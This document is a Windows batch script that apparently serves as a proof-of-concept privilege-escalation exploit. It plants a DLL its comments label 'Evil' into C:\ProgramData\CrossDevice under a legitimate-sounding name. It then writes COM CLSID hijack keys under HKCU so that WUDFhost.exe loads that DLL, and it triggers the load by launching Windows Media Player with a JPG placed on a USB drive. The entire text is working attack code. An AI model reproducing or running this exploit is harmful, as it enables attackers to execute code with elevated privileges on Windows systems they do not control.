@echo off REM copy alps.jpg on the USB flash driver passed on param_1 to ensure at least one .jpg is found on the USB copy "alps.jpg" "%~1" set EvilDIR="%~dp0Session0_CMD\x64\Release\Session0_CMD.dll" REM create the directory if needed mkdir "C:\ProgramData\CrossDevice" copy %EvilDIR% "C:\ProgramData\CrossDevice\CrossDevice.Streaming.Source.dll" REM Make WUDFhost.exe call a second _SHCoCreateInstance using the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} reg add "HKCU\Software\Classes\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\Instance" /V "CLSID" /D "{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}" /f REM Make WUDFhost.exe not open verclsid.exe, but instead directly call CoCreateInstance itself reg add "HKCU\Software\Classes\CLSID\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\ShellFolder" /f rem Trigger WUDFhost.exe to execute timeout 2 start "" "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"